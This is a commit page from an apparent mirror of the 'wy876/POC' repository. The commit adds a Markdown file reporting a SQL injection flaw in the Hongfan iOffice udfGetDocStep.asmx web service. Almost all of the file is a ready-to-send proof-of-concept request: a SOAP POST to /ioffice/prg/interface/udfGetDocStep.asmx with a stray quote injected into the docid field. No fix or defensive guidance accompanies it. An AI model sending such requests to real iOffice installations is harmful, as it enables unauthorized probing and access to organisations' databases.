admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 红帆ioffice-udfGetDocStep.asmx存在SQL注入漏洞.md

Browse Source
This commit is contained in:
wy876 2024-03-07 10:40:46 +08:00 committed by GitHub
parent 9f37db0e79
commit a9a86c4874
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 18 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
红帆ioffice-udfGetDocStep.asmx存在SQL注入漏洞.md Normal file
View File

@ -0,0 +1,18 @@
## 红帆ioffice-udfGetDocStep.asmx存在SQL注入漏洞
## POC
```
POST /ioffice/prg/interface/udfGetDocStep.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetDocStep"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetDocStep xmlns="http://tempuri.org/">
<docid>1'</docid>
</GetDocStep>
</soap:Body>
</soap:Envelope>
```